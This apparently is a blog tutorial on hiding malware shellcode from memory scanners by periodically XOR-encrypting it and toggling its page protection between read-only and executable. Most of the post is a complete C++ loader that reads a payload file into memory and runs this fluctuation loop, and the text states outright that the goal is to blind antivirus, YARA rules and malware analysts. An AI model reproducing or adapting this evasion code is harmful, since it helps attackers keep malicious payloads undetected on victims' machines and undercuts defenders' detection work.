Memory Protection Fluctuation

Hi Brother

I am writting this short tutorial just to share a bit basic on how the malware evade the memory scanning. This is not a new technique but at least if this is combined with any other technique would increase the effectiveness of payload evasion in the memory

Memory Protection

The evil payload which contain the malware must be run in the memory range that has execution protection enabled. When the malware is run in the memory range that has no execution protection will cause an exeption.

So the memory protection could be an easy indicator for the malware analyst to spot the payload. Everytime we see X or RX or RWX on the protection will trigger alert.

Evading the Payload

To avoid an easy detection by the malware analyst or event the memory scanner. We can a bit creation on how we maintain the memory protection. So the basic idea of the evasion is to remove the execution protection when the payload is not being used and change again back to execution right before the payload to be executed.

below is the full basic code to change memory protection every 10 seconds between PAGE_READONLY and PAGE_EXECUTE_READ

// BasicMemoryFluctuation.cpp : This file contains the 'main' function. Program execution begins and ends there.
//

#include <iostream>
#include <windows.h>
#include <vector>
#include <random>
using namespace std;

typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;

bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
{
    HandlePtr file(CreateFileA(
        path,
        GENERIC_READ,
        FILE_SHARE_READ,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
    ), &::CloseHandle);

    if (INVALID_HANDLE_VALUE == file.get())
        return false;

    DWORD highSize;
    DWORD readBytes = 0;
    DWORD lowSize = GetFileSize(file.get(), &highSize);

    shellcode.resize(lowSize, 0);

    return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
}

void * injectShellcode(std::vector<uint8_t>& shellcode)
{
    //
    // Firstly we allocate RW page to avoid RWX-based IOC detections
    //
    void * alloc = ::VirtualAlloc(
        NULL,
        shellcode.size() + 1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_READWRITE
    );

    if (!alloc)
        cout << "Failed Memory Allocation"<<endl;

    memcpy(alloc, shellcode.data(), shellcode.size());

    return alloc;

}

void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey, void * address)
{
    DWORD oldProt = 0;
    ::VirtualProtect(
        address,
        bufSize + 1,
        PAGE_READWRITE,
        &oldProt
    );


    uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);

    auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
    for (size_t i = 0; i < bufSizeRounded; i++)
    {
        buf32[i] ^= xorKey;
    }

    for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
    {
        buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
    }
}

void startFluctuate(void* address, int memorySize) {

    std::random_device dev;
    std::mt19937 rng(dev());
    std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);
    DWORD encodeKey = dist4GB(rng);

    

    while (true) {
        xor32(
            reinterpret_cast<uint8_t*>(address),
            memorySize + 1,
            encodeKey, address
        );
        DWORD oldProt = 0;
        ::VirtualProtect(
            address,
            memorySize + 1,
            PAGE_READONLY,
            &oldProt
        );

        cout << "After Change PAGE_READONLY"<<endl;
        ::Sleep(10000);

        xor32(
            reinterpret_cast<uint8_t*>(address),
            memorySize + 1,
            encodeKey, address
        );

        ::VirtualProtect(
            address,
            memorySize + 1,
            PAGE_EXECUTE_READWRITE,
            &oldProt
        );
        
        cout << "After Change PAGE_EXECUTE_READWRITE"<<endl;

        ::Sleep(10000);
    }

}


int main()
{
    std::vector<uint8_t> shellcode;
    if (!readShellcode("C:\\Users\\Reverse90\\source\\repos\\BasicMemoryFluctuation\\x64\\Debug\\payload.bin", shellcode))
    {
        cout << "Cannot ready Payload" << endl;
        return 1;
    }

    void * address = injectShellcode(shellcode);

    cout << "Memory Address : "<<address << endl;

    startFluctuate(address, shellcode.size());

    

}

We can see that the memory range where the payload is injected will change at every 10 seconds. So when the AV or the malware analyst do a quick look and try to find the suspicious memory range which contain X will not be easy to spot unless the malware analyst will wait or capture the memory multiple time

We can see that the memory is in the R which is readonly where the X flag is not there

After 10 seconds, We can see that the memory protection change to RX

Payload Encryption

To improve the evasion, we also can implement the memory encryption when the malware is idle so that the memory Yara scanner (or any pattern based) or AV that look for specific sequence of bytes will blind because the content of the payload has been encrypted

We can notice that when the memory in the ReadOnly state the content of the memory is xored. We can see that the payload during the RWX then we can see the payload

Leave a Reply